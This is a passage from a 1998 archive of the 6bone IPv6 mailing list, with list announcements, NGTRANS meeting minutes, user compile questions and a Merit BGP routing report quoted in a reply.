>   5F0B:4F00::0/32
>   5F0D:E900:CE9C:9400::0/64
>   5F0F:8800::0/32
>   5F10:8800::0/32
>   5F11:D000:CCA2:E400::0/64
> 
> These appear to be only coming from you. I must be behind on my ipv6 delegation,
> because I can't recall what 5f00::/8 is doing on the backbone. (comign from cisco
> mostly???) If you could refresh my memory, I would most appreciate it,and make
> sure not to filter it.
> 
> thanks in advance.
> 
> 
> Thanks
> Rob Rockell
> Sprintlink Internet Service Center
> Operations Engineering
> 703-689-6322
> 1-800-724-3329, PIN 385-8833
> 
> 
> 


-- 
--bill

From 6bone-owner  Wed Sep 16 08:40:10 1998
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	(envelope-from pete@trumpet.com.au)
To: ipng@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Trumpet Winsock 4.1 IPv6 (Beta 2) available.
Date: Thu, 17 Sep 1998 01:39:21 +1100
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This is the next installment.

Added in this release

- Stateless Address Autoconfig.
- Default Router discovery and auto address prefixing.
- Basic IPv6 over PPP.  (no compression yet)

Fixed in this release

- Parsing and display of IPv4 compatible addresses.



Location:

	ftp://ftp.trumpet.com/winsock/beta-4.1/twsk41b2.exe		USA
or
	ftp://ftp.trumpet.com.au/winsock/beta-4.1/twsk41b2.exe	AUS


Enjoy!!!

Peter

--
Peter R. Tattam - Managing Director          
Trumpet Software International Pty Ltd.
Phone: +61-3-6245-0220     Fax: +61-3-6245-0210

From 6bone-owner  Wed Sep 16 10:02:45 1998
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Date: Wed, 16 Sep 1998 10:02:41 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: RCCN added as 6bone pTLA 3FFE:3100::/24
Cc: Rute Sofia <rsofia@rccn.net>, Bill Manning <bmanning@ISI.EDU>
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6bone Folk,

The RCCN pTLA request has gone thru its 2-week posting and review so I have assigned it pTLA 3FFE:3100::/24.

	http://www.isi.edu/cgi-bin/davidk/whois.pl?RCCN


Welcome to RCCN on the 6bone backbone!


Thanks,

Bob

From 6bone-owner  Fri Sep 18 04:40:47 1998
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Date: Fri, 18 Sep 1998 13:40:36 +0200
From: Niels Baggesen <Niels.Baggesen@uni-c.dk>
To: mbone@ISI.EDU, 6bone@ISI.EDU
Subject: IPv6 / RSVP enabled versions of vic/vat
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We are currently gearing up for experiments with IPv6 multicasting and
RSVP.

To get some applications for this, vic and vat of course springs to mind,
and the question is therefore: who has done this before?

I currently have vic with RSVP from ISI, and sdr/vat with IPv6 from UCLA,
and would like to create the double: vic and vat, both with IPv6 and RSVP,
but the question is: has anybody else done this?

The second question is: how far are these versions from "current"
vic and vat? The sdr, at least, is rather old. And my feeling is that
the Win95 versions are somewhat different. Who (has/is willing to give)
the source?

/Niels

-- 
Niels Baggesen,  UNI-C,  Olof Palmes Alle 38,  DK-8200  Aarhus N,  Denmark
Email: Niels.Baggesen@uni-c.dk  Tel: +45 89 37 66 69  Fax: +45 89 37 66 77
---  Never underestimate the bandwidth of a CD flying through the lab  ---

From 6bone-owner  Sun Sep 20 22:53:57 1998
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Date: Sun, 20 Sep 1998 22:53:50 -0700 (PDT)
From: Ryan H Richter <richterr@reed.edu>
To: 6bone@ISI.EDU
Subject: Reed College on 6bone
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I'm Ryan Richter from Reed College in Portland, OR.  We want to get
connected to and play around with the 6bone, and I want to know if anyone
can recommend a pTLA.  Our ISP is NWNet, which is apparently on the 6bone,
and I emailed their person listed in the RIPE database 2 weeks ago and
have received no response.  Any suggestions would be appreciated.



Ryan


From 6bone-owner  Mon Sep 21 08:57:39 1998
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Date: Mon, 21 Sep 1998 08:57:33 -0700
To: ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
Subject: Minutes of NGTRANS WG Meeting - 25 August 1998 - Chicago IETF
Cc: 6bone@ISI.EDU
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ngtrans Folk:

I've added some detail to the previously distributed summary and forwarded it on to the Secretariat.


Bob

===
Minutes of NGTRANS WG Meeting - 25 August 1998 - Chicago IETF

Chairs: Bob Fink, Bob Gilligan and Tony Hain

Attendance: 218 signed in, more than 250 actually present

Marc Blanchet, of Viagenie, announced that he had placed a Cisco IPv6 capable
router on the IETF terminal room network for anyone's use to reach the 6bone.
The KAME project's IPv6 stack operating on a unix workstation in the terminal
room was soon operating over this router using ssh6 back to Japan.  Congrats,
folks!

Tony Hain discussed changes that will be made to the ngtrans charter to more
accurately reflect the actual work of the group, which is to develop tools and
advice to aid in the eventual transition to IPv6, and to make clear that it is
not to specify timelines, plans and policies for such a conversion.

Bob Fink discussed the processing of drafts beyond RFC 1933, noting that
Experimental will be the preferred status of tools such as SIIT and NAT-PT, and
Informational for practice/advice such as 6bone Routing Practice. The
Experimental status will allow various ideas to be tried out without full
understanding of their final role in transition to IPv6.

Erik Nordmark presented recent changes from -00 to -01 for the "IPv6
Transitions Mechanisms" draft <draft-ietf-ngtrans-mech-01.txt> for advancement
to replace RFC 1933:

* Clarified that configured tunnels are unidirectional

* Clarified that IPv4-compatibleaddresses areassigned exclusively to nodes that
support automatic tunnels,i.e., that can receive such packets

* Added tect about formation of link-local addresses and non-use of ND: Zero
padding IPv4 address to form 64 bit token, ND and DAD can not be used on
unidirectional tunnels, and a bidirectional tunnel should accept and respond to
NUD.

* Added restriction that decapsulated packets not be forwarded unless source
address is acceptable to the decapsulating router (decapsulate and forward
without such checks circumvents ingress filtering)

He also replayed previous changes made from RFC 1933 to draft -00:

* Deleted section on "compatible" IPv4 loopback address (::127.0.0.1) to not
require routers to filter that address

* Removed the use of IPv6 "raw form" when sending to IPv4-compatible on-link
destinations

* Revised DNS section to clarify resolver filtering and ordering options

* Made the IPv4-compatible addresses only apply to automatic tunneling

* Changed the term "IPv6-only addresses" to "IPv6-native address" per current
usage

* Changed minimum MTU to 1280 bytes

* Revised IPv4-compatible address configuration section (5.2) to recognize
multiple interfaces

* Added discussion ofsource address selection when using IPv4-compatible
addresses

* Added section on the combination of the default tunneling technique with
hosts using automatic tunneling

* Added prohibition against automatic tunneling to IPv4 broadcast or multicast
destinations

He also presented a few remaining issues to be resolved on the mailing list:

* Disallow the (asymmetric) use of default configured tunneling in one
direction and automatic tunneling in the reverse direction?


* Create a DHCPv4 option for configuring the tunnel destination for default
configured tunnels?

* Require that configured tunnels be biderectional?: Routing protocols need
bidirectional,makes ingress filtering easy, but different than tunnels over
IPv6

* Require nodes to respond to NUD probes on bidirectional configured tunnels?

* Require nodes to send NUD probes on bidirectional configured tunnels?
(Omitted for roputer-router links as specified in RFC 1970)

As soon as Erik finishes these few remaining issues up a working group last
call will be done to approve sending the draft in to replace the current
version, RFC 1933, which is at Proposed Standard status.

Erik Nordmark presented recent changes from draft -01 to-02 for the "Stateless
IP/ICMP Translator (SIIT)" draft <draft-ietf-ngtrans-header-trans-02.txt> for
advancement to Experimental RFC:

* Clarified generating ICMP "TTL exceeded" when TTL or hoplimit reaches zero

* Added 1-1 mapping between IPv4 TOS and IPv6 Traffic Class

* Clarified that IPv4-mapped addresses are sent over wire

* Introduced the notion of IPv4-translated addresses separate from IPv4-mapped
and IPv4-compatible addresses:

  0000:0000:0000:0000:FFFF:0000:(IPv4 address)  

  IPv4-compatible: IPv6/IPv4 node that supports automatic tunneling
  IPv4-mapped: IPv4 node
  IPv4-translated: IPv6 node

  Example:
            IPv6                  IPv4
  src  ::ffff:0:129.0.0.1   src 129.0.0.1
  dst  ::0:ffff:192.2.2.2   dst 192.2.2.2

* Acquiring IPv4-translatable addresses out of scope

A working group last call for comments will now be made to send this in for
processing as Experimental.

George Tsirtsis presented recent changes from draft -01 to-02 for the "Network
Address Translation-Protocol Translation (NAT-PT)" draft
<draft-ietf-ngtrans-natpt-02.txt> for advancement to Experimental RFC. 

* Various editorial changes

* Dropped collocated DNS/NAT section

* Added Applicability statement 

* Added section on the impact of DNS-ALG to DNS-SEC

He then discussed several aspects of this proposal:

* Protocol Translation Limitations

* Impact of address translation - ALGs will be required for certain
applications that refer hosts by their IP addresses in payload

* Security between IPv6 and IPv4 - IPsec does not work across routing realms


* Impact of DNS-ALG on DNS-SEC - DNS traffic across the DNS-ALG can not be
signed!

A working group last call for comments will now be made to send this in for
processing as Experimental. 

Bertrand Buclin presented recent changes in the "6bone Routing Practices" draft
<draft-ietf-ngtrans-6bone-routing-01.txt> for advancement to Informational RFC.
A working group last call for comments will now be made to send this in for
processing as Informational. This draft represents the collective experience of
6bone participants and lists best practice when operating over the 6bone
between leaf and transit/backbone sites. 

Kazuaki Tsuchiya presented the Hitachi protocol exchange software for
Windows95/98/NT4 systems based on the previous draft
<draft-tsuchiya-ipv4-ipv6-translator-00.txt>. This software is available now
for use at <http://www.hitachi.co.jp/Prod/comp/network/pexv6-e.htm>. 

The draft of this work should move forward through ngtrans to Experimental RFC. 
(Editor's note: subsequent to the meeting it was agreed that the draft would be 
reworked to emphasize the implementation experience relating to the mechanism 
previously described and to redescribe the mechanism more accurately, not as a 
translator but rather as a technique known commonly as "bump-in-the-stack".  
Also, the INET 98 "Deployment and Experiences of WIDE 6bone" URL was supplied 
for more details on the various WIDE project's translators 
<http://www.v6.wide.ad.jp/Papers/yamamoto/>.)

David Kessens and Bob Fink gave a brief review of the status of the 6bone.
There are now 302 sites (was 240 last time) in 35 countries (was 32 last time)
participating in the 6bone. There are now 47 backbone sites. There are
currently about 1500 queries and 7 updates per day to the registry.

Greg Miller presented the vBNS 6bone plans, which basically is to provide
native IPv6 transport across the US with IPv6 routers located in the Wash. DC,
Chicago and San Francisco Bay areas operating over OC3c links into the vBNS
OC12c ATM network. This will make a full native cross country IPv6 backbone
available to the 6bone!  See <http://www.vbns.net/IPv6/index.html> for more 
information.

Ivano Guardini, of CSELT/IT, presented his new ASpath-tree tool features for
monitoring BGP4+ routing inside the 6bone. These tools are up and available at
<http://carmen.cselt.it/ipv6/bgp/index.htm>. ASpath-tree is being used by CSELT 
to monitor their routing configuration, and is being used by several other 
pTLAs (ATT-LABS-EUROPE and BT-LABS) as well. Some of the ASpath-tree features 
are: showing the BGP4+ routing tree, the last 24 hours of routing history, 
changes in the routing tree, the odd routes report and the routing stability 
report.


Two updated drafts were then presented from previous work presented at the AATN
BOF at the previous IETF as a courtesy to that group as they could not easily
schedule there own meeting at this IETF.

Gabriel Montenegro presented the "Negotiated Address Reuse" draft
<draft-montenegro-aatn-nar-00.txt>. His talk is available at
<http://playground.sun.com/~gab/talks.html>. Negotiated Address Reuse proposes a
border device that does allow end-to-end traffic like IPSEC, IP tunnels
(including Mobile IP and GRE tunnels) and QOS. It does this by extending and
complementing NAT and by introducing a control mechanism based on SOCKS. 

Michael Borella presented the "Distributed Network Address Translation" draft
<draft-borella-aatn-dnat-00.txt>.

It is most likely that work on these two drafts will continue elsewhere, unless
they have more ready transition application to IPv6 than currently observed.

-end


Robert L. Fink 
Lawrence Berkeley National Laboratory 
1 Cyclotron Road 
Bldg. 50A, Room 3139 
Berkeley, CA 94720
+1 510 486-5692 office 
+1 510 486-4790 fax 
rlfink@lbl.gov


From 6bone-owner  Sat Sep 26 16:08:06 1998
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Date: Sat, 26 Sep 1998 16:07:59 -0700
To: Ralph Droms <droms@bucknell.edu>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: draft-harrington-ngtrans-dhcp-option-01.txt
Cc: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU,
        Robert Gilligan <gilligan%freegate.com@bucknell.edu>,
        Tony Hain <tonyhain@microsoft.com>
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Ralph,

At 08:04 AM 9/26/98 -0400, Ralph Droms wrote:
>I recently conducted a review IANA list of the assigned DHCP option codes,
>and found that option code 96 has been assigned to Dan Harrington for use
>in an "IPv6 Transition" option.  Since that assignment, the Internet Draft
>defining the option has expired and there has been no request submitted to
>the DHC WG to consider the definition of the "IPv6 Transition" option as a
>standard.  I contacted Dan about the option and he told me that he is no
>longer interested in  pushing the "IPv6 Transition" option through the
>standards process.  Does the ngtrans working group have any interest in the
>"IPv6 Transition" option at this point?  If so, I'd like to work with you
>to move the option through the standards process; if you're not using the
>option code, it can be
>officially returned to the IANA for reassignment.

I don't think ngtrans has an interest in this, but am not sure, so am posting your request to the various IPng related lists for comment. I suggest we wait a week, then officially return the option code if we hear nothing to the contrary.


Bob


From 6bone-owner  Tue Sep 29 02:43:43 1998
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Date: Tue, 29 Sep 1998 11:31:54 +0200
From: Wojciech Gawlik <Wojciech.Gawlik@idi.ntnu.no>
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I installed kernel for IPv6 version 2.1.112, and then inet6-apps-0.34.
But I can't install net-tools-1.45. Do I need different headers? I got
this message when compiling net-tools

/usr/inet6/lib/libinet6.a(getaddrinfo.o): In function
`resolver_lookup_addr':
/usr/src/inet6-apps-0.34/lib/getaddrinfo.c:365: undefined reference to
`res_search'
/usr/src/inet6-apps-0.34/lib/getaddrinfo.c:399: undefined reference to
`dn_expand'
/usr/src/inet6-apps-0.34/lib/getaddrinfo.c:413: undefined reference to
`dn_expand'
/usr/inet6/lib/libinet6.a(getnameinfo.o): In function
`resolver_lookup_name':
/usr/src/inet6-apps-0.34/lib/getnameinfo.c:125: undefined reference to
`res_search'
/usr/src/inet6-apps-0.34/lib/getnameinfo.c:155: undefined reference to
`dn_expand'
/usr/src/inet6-apps-0.34/lib/getnameinfo.c:169: undefined reference to
`dn_expand'
/usr/src/inet6-apps-0.34/lib/getnameinfo.c:188: undefined reference to
`dn_expand'
make: *** [ifconfig] Error 1


From 6bone-owner  Tue Sep 29 04:10:29 1998
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when I was compiling radvd-0.4.2  I got error like this

device.c: In function `setup_allrouters_membership':
device.c:163: structure has no member named `ipv6mr_ifindex'
device.c:166: structure has no member named `s6_addr32'
device.c:167: structure has no member named `s6_addr32'
make: *** [device.o] Error 1

help me please.


From 6bone-owner  Wed Oct  7 09:50:28 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: FW: 10/06/98 6Bone Routing Report
Date: Wed, 7 Oct 1998 09:49:50 -0700 
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Recently it seems the 6bone has been vacillating between two states - one in
which everything looks OK (except for bogus 5f routes... will they ever go
away?) and the BGP traffic is low, and a second state in which there is a
path for the unspecified address (a problem with JOIN?) and the BGP traffic
is high. Does anyone know what's going on?

Thanks,
Rich

-----Original Message-----
From: owner-6bone-routing-report@merit.edu
[mailto:owner-6bone-routing-report@merit.edu] 
Sent: Tuesday, October 06, 1998 11:41 PM
To: 6bone-routing-report@merit.edu
Subject: 10/06/98 6Bone Routing Report


See http://www.merit.edu/ipma for a more detailed report on routing 
problems and recommendations on ways service providers can limit the 
spread of invalid routing information.
Send comments and questions to ipma-support@merit.edu

To unsubscribe from this list, send mail to 
    6bone-routing-report-request@merit.edu.
A hypermail archive is available at
    http://www.merit.net/mail.archives/html/6bone-routing-report/

Also see http://www.caida.org for more information about Internet 
statistics collection research efforts.

---------------------------------------------
This report is for 10/06/98, peering with
  VIAGENIE (AS10566)  CISCO (AS109)  CICNET (AS1225)  SZCZECIN (AS1887)
WIDE (AS2500)  TELEBIT (AS3263)  ETRI (AS3559)  EWD-3COM (AS561)  NUS-IRDU
(AS7610)
---------------------------------------------

Size of 6Bone Routing Table:
	Max = 98, Min = 96, Average = 96
	54 Unique Autonomous System (AS) numbers

BGP4+ Traffic Summary:  
	Announcements = 39966    Withdraws = 7090   Unique Routes = 76

Non-6Bone Prefixes (outside of 3ffe::/16):
--------------------------------
  0000::/0 path 561 5408 8253 137 1275 (JOIN)
  1000::/4 path 561 5408 8253 137 1275 (JOIN)
  5f00:4700::/32 path 109 (CISCO)
  5f00:6d00::/32 path 109 (CISCO)
  5f01:7800::/32 path 109 1225 (CICNET)
  5f04:c500:cb26:1100::/64 path 109 (CISCO)
  5f0b:4f00::/32 path 109 2895 (INR)
  5f0d:e900:ce9c:9400::/64 path 109 1225 (CICNET)
  5f0f:8800::/32 path 109 (CISCO)
  5f10:8800::/32 path 109 (CISCO)
  5f11:d000:cca2:e400::/64 path 109 (CISCO)

Poorly Aggregated Prefixes (>24):
--------------------------------
  CICNET (3ffe:900::/24) had 5 route(s)
    3ffe:900:1::/48 path 561 10566 6509 145 1312 (LORE/VT)
    3ffe:902:2::/48 path 1887 (SZCZECIN)
    3ffe:902:c::/48 path 1887 (SZCZECIN)
    3ffe:902:d::/48 path 1887 (SZCZECIN)
    3ffe:902::/32 path 1225 8664 (ICM-PL)

  SWITCH (3ffe:2000::/24) had 5 route(s)
    3ffe:2024:1800::2/126 path 10566 1930 (RCCN)
    3ffe:2000:0:1::/120 path 1225 1275 1103 1849 1752 5408 (GRNET)
    3ffe:2024:1000:8001:8000::/80 path 109 1225 1275 559 1930 (RCCN)
    3ffe:202a:1::/64 path 10566 1930 559 1836 (SIMULTAN)
    3ffe:2024:1000::/36 path 561 10566 1930 (RCCN)

  SPRINT (3ffe:2900::/24) had 3 route(s)
    3ffe:2900:a:4::/64 path 7610 1849 109 1225 8664 2839 5609 561 10566 7081
293 (ESNET)
    3ffe:2900:fff3::/48 path 109 1225 1275 8319 (REGIO-DE)
    3ffe:2900:5::/48 path 561 10566 6509 145 1312 (LORE/VT)

  CSELT (3ffe:1000::/24) had 2 route(s)
    3ffe:1001:1:ffff::/126 path 1225 8664 1835 1273 5539 1849 786 1103 1275
1717 137 559 1930 3251 48 5609 561 10566 7081 293 (ESNET)
    3ffe:1001:1:ffff::1/126 path 7610 1849 109 1225 1275 2547 1835 1717 137
559 1930 10566 7081 293 (ESNET)

  CISCO (3ffe:c00::/24) had 2 route(s)
    3ffe:c00:8004:1::/80 path 7610 1849 109 8176 ()
    3ffe:c00:8004::/48 path 7610 1849 109 8176 ()

  UNI-C (3ffe:1400::/24) had 2 route(s)
    3ffe:1402:1:1::/64 path 1225 1275 1103 1849 5539 1273 (ECRC)
    3ffe:140f:1::/48 path 1225 8664 (ICM-PL)

  INFN-CNAF (3ffe:2300::/24) had 2 route(s)
    3ffe:23ff::/28 path 1225 1275 559 137 8253 (DUTHNET)
    3ffe:23f0::/28 path 1225 1275 1717 137 8253 (DUTHNET)

  BT-LABS (3ffe:2c00::/24) had 2 route(s)
    3ffe:2c00:0:ffff::8/127 path 1225 1275 1717 137 8253 5408 (GRNET)
    3ffe:2c00:0:ffff::9/127 path 7610 10566 5408 (GRNET)

  JANET (3ffe:2100::/24) had 1 route(s)
    3ffe:2101::/48 path 1225 1275 1103 1849 1752 3185 (ULANC)

  VBNS (3ffe:2800::/24) had 1 route(s)
    3ffe:2802::/32 path 561 10566 6509 145 1312 (LORE/VT)

  UUNET-UK (3ffe:1100::/24) had 1 route(s)
    3ffe:1108:40a::/48 path 1225 1275 8319 5539 (SPACENET-DE)

  SICS (3ffe:200::/24) had 1 route(s)
    3ffe:280::/40 path 1225 8664 (ICM-PL)

  UL (3ffe:1b00::/24) had 1 route(s)
    3ffe:1b01::/32 path 561 10566 1930 (RCCN)

  JOIN (3ffe:400::/24) had 1 route(s)
    3ffe:400:1c0::/48 path 1225 8664 1835 1273 5539 8319 (REGIO-DE)

  SMS (3ffe:2600::/24) had 1 route(s)
    3ffe:2610:2::/48 path 10566 1930 559 5623 1103 3274 8432 (TF-INET-DEV)

  GRNET (3ffe:2d00::/24) had 1 route(s)
    3ffe:2d00:3::/48 path 561 5408 8643 (UOA)

  ESNET (3ffe:700::/24) had 1 route(s)
    3ffe:7c0:40::/48 path 1225 1275 1717 137 559 1930 10566 7081 293 3152
(MREN)

The Top Five Most Active Prefixes:
----------------------------------
1. SWISSCOM (3ffe:1e00::/24) had 8119 BGP+ updates (15 unique aspaths)
  1225 6175 1930 559 3303 (1410)
  1225 1275 559 3303 (1333)
  109 6175 1930 559 3303 (1333)
  109 1225 1275 559 3303 (1322)
  2500 109 6175 1930 559 3303 (1312)
  2500 109 1225 1275 559 3303 (1267)
  7610 5623 6175 1930 559 3303 (46)
  7610 10566 1930 559 3303 (44)
  561 5609 137 559 3303 (11)
  561 10566 1930 559 3303 (11)
  2500 33 5609 137 559 3303 (2)
  ...Truncated...

2. SWITCH (3ffe:2000::/24) had 7744 BGP+ updates (16 unique aspaths)
  1225 6175 1930 559 (1380)
  109 6175 1930 559 (1278)
  1225 1275 559 (1278)
  109 1225 1275 559 (1270)
  2500 109 6175 1930 559 (1258)
  2500 109 1225 1275 559 (1149)
  7610 5623 6175 1930 559 (44)
  7610 10566 1930 559 (42)
  561 10566 1930 559 (9)
  561 5609 137 559 (6)
  561 5609 5623 559 (4)
  ...Truncated...

3. RCCN (3ffe:2024:1800::2/126) had 3773 BGP+ updates (14 unique aspaths)
  1225 1275 559 1930 (1044)
  1225 1275 1717 137 559 1930 (751)
  109 1849 7610 10566 1930 (705)
  109 1225 1275 559 1930 (673)
  1225 1275 1103 1849 3251 1930 (320)
  1225 8664 1835 1849 3251 1930 (127)
  7610 10566 1930 (40)
  109 1225 1275 1717 137 559 1930 (17)
  7610 1849 109 1225 1275 1717 137 559 1930 (14)
  7610 1849 109 1225 1275 559 1930 (14)
  109 1225 1275 1103 1849 3251 1930 (10)
  ...Truncated...

4. SMS (3ffe:2600::/24) had 3428 BGP+ updates (39 unique aspaths)
  1225 6175 1930 559 5623 1103 3274 (600)
  109 6175 1930 559 5623 1103 3274 (551)
  1225 1275 559 5623 1103 3274 (550)
  2500 109 6175 1930 559 5623 1103 3274 (548)
  109 1225 1275 559 5623 1103 3274 (547)
  2500 109 1225 1275 559 5623 1103 3274 (508)
  7610 1849 6175 1930 559 5623 1103 3274 (18)
  7610 10566 1930 559 5623 1103 3274 (17)
  7610 5623 6175 3274 (8)
  561 5609 137 559 5623 1103 3274 (6)
  7610 10566 6175 3274 (5)
  ...Truncated...

5. UL (3ffe:1b01::/32) had 2988 BGP+ updates (10 unique aspaths)
  1225 1275 559 1930 (1337)
  7610 10566 1930 (44)
  2500 109 237 10566 1930 (3)
  561 10566 1930 (2)
  2500 5623 7610 10566 1930 (1)
  10566 5408 8253 137 559 1930 (1)
  109 1849 7610 10566 1930 (1)
  10566 1930 (1)
  109 1225 237 10566 1930 (1)
  1225 109 237 10566 1930 (1)

From 6bone-owner  Wed Oct  7 13:19:10 1998
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Date: Wed, 07 Oct 1998 16:14:05 -0400
To: Richard Draves <richdr@microsoft.com>, "'6bone'" <6bone@ISI.EDU>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: FW: 10/06/98 6Bone Routing Report
In-Reply-To: <4D0A23B3F74DD111ACCD00805F31D8100AF813C5@RED-MSG-50>
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For your information, this "stable/unstable" situation is seen differently
depending on where you are.  
For example,
 - our pTLA site (VIAGENIE) is connected directly to merit.
 - we've been very careful since 6 months now to look at the merit 6bone
reports and debug things when we appear in the report and fix things. For
this, this report has been very useful (thanks to merit guys). We also had
the opportunity to debug MRT many times. We even found bugs in the v6
kernels of some implementations that keeps our routes forever in the
kernel. The consequence is that most of the time, our site is very stable
and do not appear instable in the merit report.
 - but, the cselt guys from italy just reported at the last ietf that our
site was unstable. We haven't seen those problems. 

In conclusion, it seems to be very related to where you are. 

Regards, Marc.

At 09:49 98-10-07 -0700, Richard Draves wrote:
>Recently it seems the 6bone has been vacillating between two states - one in
>which everything looks OK (except for bogus 5f routes... will they ever go
>away?) and the BGP traffic is low, and a second state in which there is a
>path for the unspecified address (a problem with JOIN?) and the BGP traffic
>is high. Does anyone know what's going on?
>
>Thanks,
>Rich
>
>-----Original Message-----
>From: owner-6bone-routing-report@merit.edu
>[mailto:owner-6bone-routing-report@merit.edu] 
>Sent: Tuesday, October 06, 1998 11:41 PM
>To: 6bone-routing-report@merit.edu
>Subject: 10/06/98 6Bone Routing Report
>
>
>See http://www.merit.edu/ipma for a more detailed report on routing 
>problems and recommendations on ways service providers can limit the 
>spread of invalid routing information.
>Send comments and questions to ipma-support@merit.edu
>
>To unsubscribe from this list, send mail to 
>    6bone-routing-report-request@merit.edu.
>A hypermail archive is available at
>    http://www.merit.net/mail.archives/html/6bone-routing-report/
>
>Also see http://www.caida.org for more information about Internet 
>statistics collection research efforts.
>
>---------------------------------------------
>This report is for 10/06/98, peering with
>  VIAGENIE (AS10566)  CISCO (AS109)  CICNET (AS1225)  SZCZECIN (AS1887)
>WIDE (AS2500)  TELEBIT (AS3263)  ETRI (AS3559)  EWD-3COM (AS561)  NUS-IRDU
>(AS7610)
>---------------------------------------------
>
>Size of 6Bone Routing Table:
>	Max = 98, Min = 96, Average = 96
>	54 Unique Autonomous System (AS) numbers
>
>BGP4+ Traffic Summary:  
>	Announcements = 39966    Withdraws = 7090   Unique Routes = 76
>
>Non-6Bone Prefixes (outside of 3ffe::/16):
>--------------------------------
>  0000::/0 path 561 5408 8253 137 1275 (JOIN)
>  1000::/4 path 561 5408 8253 137 1275 (JOIN)
>  5f00:4700::/32 path 109 (CISCO)
>  5f00:6d00::/32 path 109 (CISCO)
>  5f01:7800::/32 path 109 1225 (CICNET)
>  5f04:c500:cb26:1100::/64 path 109 (CISCO)
>  5f0b:4f00::/32 path 109 2895 (INR)
>  5f0d:e900:ce9c:9400::/64 path 109 1225 (CICNET)
>  5f0f:8800::/32 path 109 (CISCO)
>  5f10:8800::/32 path 109 (CISCO)
>  5f11:d000:cca2:e400::/64 path 109 (CISCO)
>
>Poorly Aggregated Prefixes (>24):
>--------------------------------
>  CICNET (3ffe:900::/24) had 5 route(s)
>    3ffe:900:1::/48 path 561 10566 6509 145 1312 (LORE/VT)
>    3ffe:902:2::/48 path 1887 (SZCZECIN)
>    3ffe:902:c::/48 path 1887 (SZCZECIN)
>    3ffe:902:d::/48 path 1887 (SZCZECIN)
>    3ffe:902::/32 path 1225 8664 (ICM-PL)
>
>  SWITCH (3ffe:2000::/24) had 5 route(s)
>    3ffe:2024:1800::2/126 path 10566 1930 (RCCN)
>    3ffe:2000:0:1::/120 path 1225 1275 1103 1849 1752 5408 (GRNET)
>    3ffe:2024:1000:8001:8000::/80 path 109 1225 1275 559 1930 (RCCN)
>    3ffe:202a:1::/64 path 10566 1930 559 1836 (SIMULTAN)
>    3ffe:2024:1000::/36 path 561 10566 1930 (RCCN)
>
>  SPRINT (3ffe:2900::/24) had 3 route(s)
>    3ffe:2900:a:4::/64 path 7610 1849 109 1225 8664 2839 5609 561 10566 7081
>293 (ESNET)
>    3ffe:2900:fff3::/48 path 109 1225 1275 8319 (REGIO-DE)
>    3ffe:2900:5::/48 path 561 10566 6509 145 1312 (LORE/VT)
>
>  CSELT (3ffe:1000::/24) had 2 route(s)
>    3ffe:1001:1:ffff::/126 path 1225 8664 1835 1273 5539 1849 786 1103 1275
>1717 137 559 1930 3251 48 5609 561 10566 7081 293 (ESNET)
>    3ffe:1001:1:ffff::1/126 path 7610 1849 109 1225 1275 2547 1835 1717 137
>559 1930 10566 7081 293 (ESNET)
>
>  CISCO (3ffe:c00::/24) had 2 route(s)
>    3ffe:c00:8004:1::/80 path 7610 1849 109 8176 ()
>    3ffe:c00:8004::/48 path 7610 1849 109 8176 ()
>
>  UNI-C (3ffe:1400::/24) had 2 route(s)
>    3ffe:1402:1:1::/64 path 1225 1275 1103 1849 5539 1273 (ECRC)
>    3ffe:140f:1::/48 path 1225 8664 (ICM-PL)
>
>  INFN-CNAF (3ffe:2300::/24) had 2 route(s)
>    3ffe:23ff::/28 path 1225 1275 559 137 8253 (DUTHNET)
>    3ffe:23f0::/28 path 1225 1275 1717 137 8253 (DUTHNET)
>
>  BT-LABS (3ffe:2c00::/24) had 2 route(s)
>    3ffe:2c00:0:ffff::8/127 path 1225 1275 1717 137 8253 5408 (GRNET)
>    3ffe:2c00:0:ffff::9/127 path 7610 10566 5408 (GRNET)
>
>  JANET (3ffe:2100::/24) had 1 route(s)
>    3ffe:2101::/48 path 1225 1275 1103 1849 1752 3185 (ULANC)
>
>  VBNS (3ffe:2800::/24) had 1 route(s)
>    3ffe:2802::/32 path 561 10566 6509 145 1312 (LORE/VT)
>
>  UUNET-UK (3ffe:1100::/24) had 1 route(s)
>    3ffe:1108:40a::/48 path 1225 1275 8319 5539 (SPACENET-DE)
>
>  SICS (3ffe:200::/24) had 1 route(s)
>    3ffe:280::/40 path 1225 8664 (ICM-PL)
>
>  UL (3ffe:1b00::/24) had 1 route(s)
>    3ffe:1b01::/32 path 561 10566 1930 (RCCN)
>
>  JOIN (3ffe:400::/24) had 1 route(s)
>    3ffe:400:1c0::/48 path 1225 8664 1835 1273 5539 8319 (REGIO-DE)
>
>  SMS (3ffe:2600::/24) had 1 route(s)
>    3ffe:2610:2::/48 path 10566 1930 559 5623 1103 3274 8432 (TF-INET-DEV)
>
>  GRNET (3ffe:2d00::/24) had 1 route(s)
>    3ffe:2d00:3::/48 path 561 5408 8643 (UOA)
>
>  ESNET (3ffe:700::/24) had 1 route(s)
>    3ffe:7c0:40::/48 path 1225 1275 1717 137 559 1930 10566 7081 293 3152
>(MREN)
>
>The Top Five Most Active Prefixes:
>----------------------------------
>1. SWISSCOM (3ffe:1e00::/24) had 8119 BGP+ updates (15 unique aspaths)
>  1225 6175 1930 559 3303 (1410)
>  1225 1275 559 3303 (1333)
>  109 6175 1930 559 3303 (1333)
>  109 1225 1275 559 3303 (1322)
>  2500 109 6175 1930 559 3303 (1312)
>  2500 109 1225 1275 559 3303 (1267)
>  7610 5623 6175 1930 559 3303 (46)
>  7610 10566 1930 559 3303 (44)
>  561 5609 137 559 3303 (11)
>  561 10566 1930 559 3303 (11)
>  2500 33 5609 137 559 3303 (2)
>  ...Truncated...
>
>2. SWITCH (3ffe:2000::/24) had 7744 BGP+ updates (16 unique aspaths)
>  1225 6175 1930 559 (1380)
>  109 6175 1930 559 (1278)
>  1225 1275 559 (1278)
>  109 1225 1275 559 (1270)
>  2500 109 6175 1930 559 (1258)
>  2500 109 1225 1275 559 (1149)
>  7610 5623 6175 1930 559 (44)
>  7610 10566 1930 559 (42)
>  561 10566 1930 559 (9)
>  561 5609 137 559 (6)
